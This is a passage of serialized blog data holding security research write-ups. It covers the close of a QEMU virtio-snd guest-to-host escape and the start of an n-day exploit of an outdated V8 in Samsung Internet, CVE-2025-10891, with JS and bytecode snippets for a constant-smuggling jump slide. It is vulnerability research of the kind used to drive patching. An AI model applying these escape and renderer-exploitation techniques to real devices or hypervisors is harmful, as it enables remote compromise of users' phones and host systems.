",{"type":23,"tag":209,"props":131838,"children":131840},{"className":131839},[],[131841],{"type":28,"value":131528},{"type":28,"value":131843}," with the address of ",{"type":23,"tag":209,"props":131845,"children":131847},{"className":131846},[],[131848],{"type":28,"value":131805},{"type":28,"value":131850}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":209,"props":131852,"children":131854},{"className":131853},[],[131855],{"type":28,"value":131536},{"type":28,"value":131857}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":24,"props":131859,"children":131860},{},[131861,131863,131869,131871,131877,131879,131885],{"type":28,"value":131862},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":209,"props":131864,"children":131866},{"className":131865},[],[131867],{"type":28,"value":131868},"virtio_queue_notify_vq",{"type":28,"value":131870},", which calls ",{"type":23,"tag":209,"props":131872,"children":131874},{"className":131873},[],[131875],{"type":28,"value":131876},"vq->handle_output(vq->vdev)",{"type":28,"value":131878}," - or, after our overwrites, ",{"type":23,"tag":209,"props":131880,"children":131882},{"className":131881},[],[131883],{"type":28,"value":131884},"system(command)",{"type":28,"value":124},{"type":23,"tag":24,"props":131887,"children":131888},{},[131889,131891,131897,131899],{"type":28,"value":131890},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":209,"props":131892,"children":131894},{"className":131893},[],[131895],{"type":28,"value":131896},"gnome-calculator",{"type":28,"value":131898}," on the host system:\n",{"type":23,"tag":31024,"props":131900,"children":131901},{},[],{"type":23,"tag":131903,"props":131904,"children":131913},"tweet-card",{"author-name":131905,"date":131906,"duration":131907,"handle":131908,"media-mime-type":131909,"media-src":131910,"media-type":131911,"tweet-url":131912},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[131914,131919,131924],{"type":23,"tag":24,"props":131915,"children":131916},{},[131917],{"type":28,"value":131918},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":24,"props":131920,"children":131921},{},[131922],{"type":28,"value":131923},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":24,"props":131925,"children":131926},{},[131927],{"type":28,"value":131928},"Writeup coming next week.",{"type":23,"tag":31024,"props":131930,"children":131931},{},[],{"type":23,"tag":24,"props":131933,"children":131934},{},[131935,131937,131943,131945,131951],{"type":28,"value":131936},"The final exploit, targeting QEMU commit ",{"type":23,"tag":209,"props":131938,"children":131940},{"className":131939},[],[131941],{"type":28,"value":131942},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":28,"value":131944}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":36,"props":131946,"children":131949},{"href":131947,"rel":131948},"https://github.com/otter-sec/qemu-escape",[40],[131950],{"type":28,"value":47636},{"type":28,"value":124},{"type":23,"tag":24,"props":131953,"children":131954},{},[131955,131957,131964],{"type":28,"value":131956},"Special thanks to ",{"type":23,"tag":36,"props":131958,"children":131961},{"href":131959,"rel":131960},"https://www.willsroot.io/",[40],[131962],{"type":28,"value":131963},"William Liu",{"type":28,"value":131965}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":47,"props":131967,"children":131968},{"id":28989},[131969],{"type":28,"value":19000},{"type":23,"tag":24,"props":131971,"children":131972},{},[131973],{"type":28,"value":131974},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":24,"props":131976,"children":131977},{},[131978],{"type":28,"value":131979},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":2957,"props":131981,"children":131982},{},[131983],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":131985},[131986,131989,131992,132001],{"id":123714,"depth":226,"text":123727,"children":131987},[131988],{"id":123735,"depth":524,"text":123738},{"id":123759,"depth":226,"text":123762,"children":131990},[131991],{"id":123773,"depth":524,"text":123773},{"id":100161,"depth":226,"text":100164,"children":131993},[131994,131995,131996,131997,131998,131999,132000],{"id":126365,"depth":524,"text":126368},{"id":127892,"depth":524,"text":127895},{"id":128686,"depth":524,"text":128689},{"id":129091,"depth":524,"text":129094},{"id":129307,"depth":524,"text":129310},{"id":129513,"depth":524,"text":129516},{"id":131809,"depth":524,"text":131812},{"id":28989,"depth":226,"text":19000},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":132006,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":132007,"description":132008,"date":132009,"author":132010,"image":132013,"isFeatured":18,"onBlogPage":18,"tags":132015,"body":132018,"_type":2967,"_id":141925,"_source":2969,"_file":141926,"_stem":141927,"_extension":2972},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[123710,132011,132012],"jamie","william",{"src":132014,"width":97321,"height":13703},"/posts/mobile-renderer-rce/title.png",[132016,132017],"RCE","mobile",{"type":20,"children":132019,"toc":141905},[132020,132024,132029,132043,132049,132063,132084,132092,132105,132113,132126,132132,132145,132159,132165,132179,132282,132287,132295,132300,132305,132326,132404,132412,132431,132444,132450,132456,132470,132586,132591,132596,132604,132609,132617,132645,132673,132685,132861,132866,132874,132893,132906,132912,132932,132946,132951,132956,132984,133020,133089,133095,133117,133122,133130,133143,133148,133156,133161,133200,133206,133219,133224,133402,133412,133420,133440,133464,133477,133483,133488,134130,134135,134143,134185,136174,136179,136187,136193,136226,136244,136414,136472,136497,136591,136596,137387,137392,137400,137411,139455,139460,139468,139474,139496,139510,139523,139535,139565,139570,140011,140039,140146,140163,140320,140325,140337,140633,140659,140682,140814,140826,140831,140983,141019,141032,141037,141159,141200,141277,141282,141856,141862,141874,141887,141891,141896,141901],{"type":23,"tag":47,"props":132021,"children":132022},{"id":29072},[132023],{"type":28,"value":29075},{"type":23,"tag":24,"props":132025,"children":132026},{},[132027],{"type":28,"value":132028},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":24,"props":132030,"children":132031},{},[132032,132034,132041],{"type":28,"value":132033},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":36,"props":132035,"children":132038},{"href":132036,"rel":132037},"https://cor.team",[40],[132039],{"type":28,"value":132040},"Crusaders of Rust",{"type":28,"value":132042}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":9693,"props":132044,"children":132046},{"id":132045},"finding-the-v8-version",[132047],{"type":28,"value":132048},"Finding the V8 Version",{"type":23,"tag":24,"props":132050,"children":132051},{},[132052,132054,132061],{"type":28,"value":132053},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":36,"props":132055,"children":132058},{"href":132056,"rel":132057},"https://developer.android.com/tools/adb",[40],[132059],{"type":28,"value":132060},"adb",{"type":28,"value":132062}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":132064,"children":132065},{},[132066,132068,132074,132076,132082],{"type":28,"value":132067},"After extracting the APK, we searched the ",{"type":23,"tag":209,"props":132069,"children":132071},{"className":132070},[],[132072],{"type":28,"value":132073},"lib/",{"type":28,"value":132075}," directory for ",{"type":23,"tag":209,"props":132077,"children":132079},{"className":132078},[],[132080],{"type":28,"value":132081},"v8::*",{"type":28,"value":132083}," symbols:",{"type":23,"tag":202,"props":132085,"children":132087},{"code":132086},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[132088],{"type":23,"tag":209,"props":132089,"children":132090},{"__ignoreMap":7},[132091],{"type":28,"value":132086},{"type":23,"tag":24,"props":132093,"children":132094},{},[132095,132097,132103],{"type":28,"value":132096},"Only one file matched our search: ",{"type":23,"tag":209,"props":132098,"children":132100},{"className":132099},[],[132101],{"type":28,"value":132102},"libterrace.so",{"type":28,"value":132104},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":24,"props":132106,"children":132107},{},[132108],{"type":23,"tag":4009,"props":132109,"children":132112},{"alt":132110,"src":132111},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":132114,"children":132115},{},[132116,132118,132124],{"type":28,"value":132117},"Surprisingly, this ",{"type":23,"tag":209,"props":132119,"children":132121},{"className":132120},[],[132122],{"type":28,"value":132123},"13.6.233.10",{"type":28,"value":132125}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":9693,"props":132127,"children":132129},{"id":132128},"choosing-the-bug",[132130],{"type":28,"value":132131},"Choosing the Bug",{"type":23,"tag":24,"props":132133,"children":132134},{},[132135,132137,132143],{"type":28,"value":132136},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":209,"props":132138,"children":132140},{"className":132139},[],[132141],{"type":28,"value":132142},"d8",{"type":28,"value":132144}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":132146,"children":132147},{},[132148,132150,132157],{"type":28,"value":132149},"Another one was ",{"type":23,"tag":36,"props":132151,"children":132154},{"href":132152,"rel":132153},"https://issuetracker.google.com/issues/443875388",[40],[132155],{"type":28,"value":132156},"CVE-2025-10891",{"type":28,"value":132158}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":47,"props":132160,"children":132162},{"id":132161},"ignition-bytecode-introduction",[132163],{"type":28,"value":132164},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":132166,"children":132167},{},[132168,132170,132177],{"type":28,"value":132169},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":36,"props":132171,"children":132174},{"href":132172,"rel":132173},"https://v8.dev/blog/ignition-interpreter",[40],[132175],{"type":28,"value":132176},"Ignition",{"type":28,"value":132178}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":202,"props":132180,"children":132182},{"code":132181,"language":31421,"meta":7,"className":31419,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[132183],{"type":23,"tag":209,"props":132184,"children":132185},{"__ignoreMap":7},[132186,132209,132233,132257],{"type":23,"tag":213,"props":132187,"children":132188},{"class":215,"line":216},[132189,132193,132197,132201,132205],{"type":23,"tag":213,"props":132190,"children":132191},{"style":230},[132192],{"type":28,"value":11871},{"type":23,"tag":213,"props":132194,"children":132195},{"style":268},[132196],{"type":28,"value":89889},{"type":23,"tag":213,"props":132198,"children":132199},{"style":274},[132200],{"type":28,"value":511},{"type":23,"tag":213,"props":132202,"children":132203},{"style":514},[132204],{"type":28,"value":4618},{"type":23,"tag":213,"props":132206,"children":132207},{"style":220},[132208],{"type":28,"value":313},{"type":23,"tag":213,"props":132210,"children":132211},{"class":215,"line":226},[132212,132216,132220,132224,132229],{"type":23,"tag":213,"props":132213,"children":132214},{"style":230},[132215],{"type":28,"value":11871},{"type":23,"tag":213,"props":132217,"children":132218},{"style":268},[132219],{"type":28,"value":90763},{"type":23,"tag":213,"props":132221,"children":132222},{"style":274},[132223],{"type":28,"value":511},{"type":23,"tag":213,"props":132225,"children":132226},{"style":514},[132227],{"type":28,"value":132228}," 0x0fff",{"type":23,"tag":213,"props":132230,"children":132231},{"style":220},[132232],{"type":28,"value":313},{"type":23,"tag":213,"props":132234,"children":132235},{"class":215,"line":524},[132236,132240,132244,132248,132253],{"type":23,"tag":213,"props":132237,"children":132238},{"style":230},[132239],{"type":28,"value":11871},{"type":23,"tag":213,"props":132241,"children":132242},{"style":268},[132243],{"type":28,"value":37503},{"type":23,"tag":213,"props":132245,"children":132246},{"style":274},[132247],{"type":28,"value":511},{"type":23,"tag":213,"props":132249,"children":132250},{"style":514},[132251],{"type":28,"value":132252}," 0x0fffffff",{"type":23,"tag":213,"props":132254,"children":132255},{"style":220},[132256],{"type":28,"value":313},{"type":23,"tag":213,"props":132258,"children":132259},{"class":215,"line":533},[132260,132264,132269,132273,132278],{"type":23,"tag":213,"props":132261,"children":132262},{"style":230},[132263],{"type":28,"value":11871},{"type":23,"tag":213,"props":132265,"children":132266},{"style":268},[132267],{"type":28,"value":132268}," d",{"type":23,"tag":213,"props":132270,"children":132271},{"style":274},[132272],{"type":28,"value":511},{"type":23,"tag":213,"props":132274,"children":132275},{"style":514},[132276],{"type":28,"value":132277}," 0xffffffff",{"type":23,"tag":213,"props":132279,"children":132280},{"style":220},[132281],{"type":28,"value":313},{"type":23,"tag":24,"props":132283,"children":132284},{},[132285],{"type":28,"value":132286},"compiles to",{"type":23,"tag":202,"props":132288,"children":132290},{"code":132289}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[132291],{"type":23,"tag":209,"props":132292,"children":132293},{"__ignoreMap":7},[132294],{"type":28,"value":132289},{"type":23,"tag":24,"props":132296,"children":132297},{},[132298],{"type":28,"value":132299},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":9693,"props":132301,"children":132303},{"id":132302},"cve-2025-10891",[132304],{"type":28,"value":132156},{"type":23,"tag":24,"props":132306,"children":132307},{},[132308,132310,132316,132318,132324],{"type":28,"value":132309},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":209,"props":132311,"children":132313},{"className":132312},[],[132314],{"type":28,"value":132315},"[start, end) => handler",{"type":28,"value":132317}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":209,"props":132319,"children":132321},{"className":132320},[],[132322],{"type":28,"value":132323},"handler",{"type":28,"value":132325}," is jumped to.",{"type":23,"tag":202,"props":132327,"children":132329},{"code":132328,"language":31421,"meta":7,"className":31419,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[132330],{"type":23,"tag":209,"props":132331,"children":132332},{"__ignoreMap":7},[132333,132344,132359,132374,132397],{"type":23,"tag":213,"props":132334,"children":132335},{"class":215,"line":216},[132336,132340],{"type":23,"tag":213,"props":132337,"children":132338},{"style":1362},[132339],{"type":28,"value":48383},{"type":23,"tag":213,"props":132341,"children":132342},{"style":220},[132343],{"type":28,"value":1375},{"type":23,"tag":213,"props":132345,"children":132346},{"class":215,"line":226},[132347,132351,132355],{"type":23,"tag":213,"props":132348,"children":132349},{"style":1362},[132350],{"type":28,"value":35259},{"type":23,"tag":213,"props":132352,"children":132353},{"style":514},[132354],{"type":28,"value":4618},{"type":23,"tag":213,"props":132356,"children":132357},{"style":220},[132358],{"type":28,"value":313},{"type":23,"tag":213,"props":132360,"children":132361},{"class":215,"line":524},[132362,132366,132370],{"type":23,"tag":213,"props":132363,"children":132364},{"style":220},[132365],{"type":28,"value":46925},{"type":23,"tag":213,"props":132367,"children":132368},{"style":1362},[132369],{"type":28,"value":48463},{"type":23,"tag":213,"props":132371,"children":132372},{"style":220},[132373],{"type":28,"value":1375},{"type":23,"tag":213,"props":132375,"children":132376},{"class":215,"line":533},[132377,132381,132385,132389,132393],{"type":23,"tag":213,"props":132378,"children":132379},{"style":230},[132380],{"type":28,"value":7943},{"type":23,"tag":213,"props":132382,"children":132383},{"style":268},[132384],{"type":28,"value":90763},{"type":23,"tag":213,"props":132386,"children":132387},{"style":274},[132388],{"type":28,"value":511},{"type":23,"tag":213,"props":132390,"children":132391},{"style":514},[132392],{"type":28,"value":8022},{"type":23,"tag":213,"props":132394,"children":132395},{"style":220},[132396],{"type":28,"value":313},{"type":23,"tag":213,"props":132398,"children":132399},{"class":215,"line":543},[132400],{"type":23,"tag":213,"props":132401,"children":132402},{"style":220},[132403],{"type":28,"value":1208},{"type":23,"tag":202,"props":132405,"children":132407},{"code":132406}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[132408],{"type":23,"tag":209,"props":132409,"children":132410},{"__ignoreMap":7},[132411],{"type":28,"value":132406},{"type":23,"tag":24,"props":132413,"children":132414},{},[132415,132417,132422,132424,132429],{"type":28,"value":132416},"However, the ",{"type":23,"tag":209,"props":132418,"children":132420},{"className":132419},[],[132421],{"type":28,"value":132323},{"type":28,"value":132423}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":209,"props":132425,"children":132427},{"className":132426},[],[132428],{"type":28,"value":48463},{"type":28,"value":132430}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":132432,"children":132433},{},[132434,132436,132442],{"type":28,"value":132435},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":209,"props":132437,"children":132439},{"className":132438},[],[132440],{"type":28,"value":132441},"yield*",{"type":28,"value":132443}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":47,"props":132445,"children":132447},{"id":132446},"exploitation",[132448],{"type":28,"value":132449},"Exploitation",{"type":23,"tag":9693,"props":132451,"children":132453},{"id":132452},"constant-smuggling",[132454],{"type":28,"value":132455},"Constant Smuggling",{"type":23,"tag":24,"props":132457,"children":132458},{},[132459,132461,132468],{"type":28,"value":132460},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":36,"props":132462,"children":132465},{"href":132463,"rel":132464},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[40],[132466],{"type":28,"value":132467},"technique",{"type":28,"value":132469}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":202,"props":132471,"children":132473},{"code":132472,"language":31421,"meta":7,"className":31419,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[132474],{"type":23,"tag":209,"props":132475,"children":132476},{"__ignoreMap":7},[132477,132505,132532,132559],{"type":23,"tag":213,"props":132478,"children":132479},{"class":215,"line":216},[132480,132484,132488,132492,132496,132501],{"type":23,"tag":213,"props":132481,"children":132482},{"style":230},[132483],{"type":28,"value":11871},{"type":23,"tag":213,"props":132485,"children":132486},{"style":268},[132487],{"type":28,"value":89889},{"type":23,"tag":213,"props":132489,"children":132490},{"style":274},[132491],{"type":28,"value":511},{"type":23,"tag":213,"props":132493,"children":132494},{"style":274},[132495],{"type":28,"value":51308},{"type":23,"tag":213,"props":132497,"children":132498},{"style":514},[132499],{"type":28,"value":132500},"9.255963134931783e61",{"type":23,"tag":213,"props":132502,"children":132503},{"style":220},[132504],{"type":28,"value":313},{"type":23,"tag":213,"props":132506,"children":132507},{"class":215,"line":226},[132508,132512,132516,132520,132524,132528],{"type":23,"tag":213,"props":132509,"children":132510},{"style":230},[132511],{"type":28,"value":11871},{"type":23,"tag":213,"props":132513,"children":132514},{"style":268},[132515],{"type":28,"value":90763},{"type":23,"tag":213,"props":132517,"children":132518},{"style":274},[132519],{"type":28,"value":511},{"type":23,"tag":213,"props":132521,"children":132522},{"style":274},[132523],{"type":28,"value":51308},{"type":23,"tag":213,"props":132525,"children":132526},{"style":514},[132527],{"type":28,"value":132500},{"type":23,"tag":213,"props":132529,"children":132530},{"style":220},[132531],{"type":28,"value":313},{"type":23,"tag":213,"props":132533,"children":132534},{"class":215,"line":524},[132535,132539,132543,132547,132551,132555],{"type":23,"tag":213,"props":132536,"children":132537},{"style":230},[132538],{"type":28,"value":11871},{"type":23,"tag":213,"props":132540,"children":132541},{"style":268},[132542],{"type":28,"value":37503},{"type":23,"tag":213,"props":132544,"children":132545},{"style":274},[132546],{"type":28,"value":511},{"type":23,"tag":213,"props":132548,"children":132549},{"style":274},[132550],{"type":28,"value":51308},{"type":23,"tag":213,"props":132552,"children":132553},{"style":514},[132554],{"type":28,"value":132500},{"type":23,"tag":213,"props":132556,"children":132557},{"style":220},[132558],{"type":28,"value":313},{"type":23,"tag":213,"props":132560,"children":132561},{"class":215,"line":533},[132562,132566,132570,132574,132578,132582],{"type":23,"tag":213,"props":132563,"children":132564},{"style":230},[132565],{"type":28,"value":11871},{"type":23,"tag":213,"props":132567,"children":132568},{"style":268},[132569],{"type":28,"value":132268},{"type":23,"tag":213,"props":132571,"children":132572},{"style":274},[132573],{"type":28,"value":511},{"type":23,"tag":213,"props":132575,"children":132576},{"style":274},[132577],{"type":28,"value":51308},{"type":23,"tag":213,"props":132579,"children":132580},{"style":514},[132581],{"type":28,"value":132500},{"type":23,"tag":213,"props":132583,"children":132584},{"style":220},[132585],{"type":28,"value":313},{"type":23,"tag":24,"props":132587,"children":132588},{},[132589],{"type":28,"value":132590},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":132592,"children":132593},{},[132594],{"type":28,"value":132595},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":202,"props":132597,"children":132599},{"code":132598},"let a = 0x0693bebe;\n",[132600],{"type":23,"tag":209,"props":132601,"children":132602},{"__ignoreMap":7},[132603],{"type":28,"value":132598},{"type":23,"tag":24,"props":132605,"children":132606},{},[132607],{"type":28,"value":132608},"We will compile the bytecode:",{"type":23,"tag":202,"props":132610,"children":132612},{"code":132611},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[132613],{"type":23,"tag":209,"props":132614,"children":132615},{"__ignoreMap":7},[132616],{"type":28,"value":132611},{"type":23,"tag":24,"props":132618,"children":132619},{},[132620,132622,132628,132630,132636,132637,132643],{"type":28,"value":132621},"We can then jump to the 3rd byte (",{"type":23,"tag":209,"props":132623,"children":132625},{"className":132624},[],[132626],{"type":28,"value":132627},"0xbe",{"type":28,"value":132629},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":209,"props":132631,"children":132633},{"className":132632},[],[132634],{"type":28,"value":132635},"0x93 0x02 - 0xf",{"type":28,"value":400},{"type":23,"tag":209,"props":132638,"children":132640},{"className":132639},[],[132641],{"type":28,"value":132642},"Jump +[2-15]",{"type":28,"value":132644},") to jump into the next constant.",{"type":23,"tag":24,"props":132646,"children":132647},{},[132648,132650,132656,132658,132664,132666,132672],{"type":28,"value":132649},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":209,"props":132651,"children":132653},{"className":132652},[],[132654],{"type":28,"value":132655},"StarX",{"type":28,"value":132657}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":209,"props":132659,"children":132661},{"className":132660},[],[132662],{"type":28,"value":132663},"Star rX",{"type":28,"value":132665}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":209,"props":132667,"children":132669},{"className":132668},[],[132670],{"type":28,"value":132671},"Star.ExtraWide rX",{"type":28,"value":2203},{"type":23,"tag":24,"props":132674,"children":132675},{},[132676,132678,132684],{"type":28,"value":132677},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":209,"props":132679,"children":132681},{"className":132680},[],[132682],{"type":28,"value":132683},"0x8931111",{"type":28,"value":277},{"type":23,"tag":202,"props":132686,"children":132688},{"code":132687,"language":31421,"meta":7,"className":31419,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[132689],{"type":23,"tag":209,"props":132690,"children":132691},{"__ignoreMap":7},[132692,132717,132741,132765,132789,132813,132837],{"type":23,"tag":213,"props":132693,"children":132694},{"class":215,"line":216},[132695,132699,132704,132708,132713],{"type":23,"tag":213,"props":132696,"children":132697},{"style":230},[132698],{"type":28,"value":11871},{"type":23,"tag":213,"props":132700,"children":132701},{"style":268},[132702],{"type":28,"value":132703}," a206",{"type":23,"tag":213,"props":132705,"children":132706},{"style":274},[132707],{"type":28,"value":511},{"type":23,"tag":213,"props":132709,"children":132710},{"style":514},[132711],{"type":28,"value":132712}," 0x8931111",{"type":23,"tag":213,"props":132714,"children":132715},{"style":220},[132716],{"type":28,"value":313},{"type":23,"tag":213,"props":132718,"children":132719},{"class":215,"line":226},[132720,132724,132729,132733,132737],{"type":23,"tag":213,"props":132721,"children":132722},{"style":230},[132723],{"type":28,"value":11871},{"type":23,"tag":213,"props":132725,"children":132726},{"style":268},[132727],{"type":28,"value":132728}," a207",{"type":23,"tag":213,"props":132730,"children":132731},{"style":274},[132732],{"type":28,"value":511},{"type":23,"tag":213,"props":132734,"children":132735},{"style":514},[132736],{"type":28,"value":132712},{"type":23,"tag":213,"props":132738,"children":132739},{"style":220},[132740],{"type":28,"value":313},{"type":23,"tag":213,"props":132742,"children":132743},{"class":215,"line":524},[132744,132748,132753,132757,132761],{"type":23,"tag":213,"props":132745,"children":132746},{"style":230},[132747],{"type":28,"value":11871},{"type":23,"tag":213,"props":132749,"children":132750},{"style":268},[132751],{"type":28,"value":132752}," a208",{"type":23,"tag":213,"props":132754,"children":132755},{"style":274},[132756],{"type":28,"value":511},{"type":23,"tag":213,"props":132758,"children":132759},{"style":514},[132760],{"type":28,"value":132712},{"type":23,"tag":213,"props":132762,"children":132763},{"style":220},[132764],{"type":28,"value":313},{"type":23,"tag":213,"props":132766,"children":132767},{"class":215,"line":533},[132768,132772,132777,132781,132785],{"type":23,"tag":213,"props":132769,"children":132770},{"style":230},[132771],{"type":28,"value":11871},{"type":23,"tag":213,"props":132773,"children":132774},{"style":268},[132775],{"type":28,"value":132776}," a209",{"type":23,"tag":213,"props":132778,"children":132779},{"style":274},[132780],{"type":28,"value":511},{"type":23,"tag":213,"props":132782,"children":132783},{"style":514},[132784],{"type":28,"value":132712},{"type":23,"tag":213,"props":132786,"children":132787},{"style":220},[132788],{"type":28,"value":313},{"type":23,"tag":213,"props":132790,"children":132791},{"class":215,"line":543},[132792,132796,132801,132805,132809],{"type":23,"tag":213,"props":132793,"children":132794},{"style":230},[132795],{"type":28,"value":11871},{"type":23,"tag":213,"props":132797,"children":132798},{"style":268},[132799],{"type":28,"value":132800}," a210",{"type":23,"tag":213,"props":132802,"children":132803},{"style":274},[132804],{"type":28,"value":511},{"type":23,"tag":213,"props":132806,"children":132807},{"style":514},[132808],{"type":28,"value":132712},{"type":23,"tag":213,"props":132810,"children":132811},{"style":220},[132812],{"type":28,"value":313},{"type":23,"tag":213,"props":132814,"children":132815},{"class":215,"line":551},[132816,132820,132825,132829,132833],{"type":23,"tag":213,"props":132817,"children":132818},{"style":230},[132819],{"type":28,"value":11871},{"type":23,"tag":213,"props":132821,"children":132822},{"style":268},[132823],{"type":28,"value":132824}," a211",{"type":23,"tag":213,"props":132826,"children":132827},{"style":274},[132828],{"type":28,"value":511},{"type":23,"tag":213,"props":132830,"children":132831},{"style":514},[132832],{"type":28,"value":132712},{"type":23,"tag":213,"props":132834,"children":132835},{"style":220},[132836],{"type":28,"value":313},{"type":23,"tag":213,"props":132838,"children":132839},{"class":215,"line":570},[132840,132844,132849,132853,132857],{"type":23,"tag":213,"props":132841,"children":132842},{"style":230},[132843],{"type":28,"value":11871},{"type":23,"tag":213,"props":132845,"children":132846},{"style":268},[132847],{"type":28,"value":132848}," a212",{"type":23,"tag":213,"props":132850,"children":132851},{"style":274},[132852],{"type":28,"value":511},{"type":23,"tag":213,"props":132854,"children":132855},{"style":514},[132856],{"type":28,"value":132712},{"type":23,"tag":213,"props":132858,"children":132859},{"style":220},[132860],{"type":28,"value":313},{"type":23,"tag":24,"props":132862,"children":132863},{},[132864],{"type":28,"value":132865},"Those instructions result in:",{"type":23,"tag":202,"props":132867,"children":132869},{"code":132868},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: 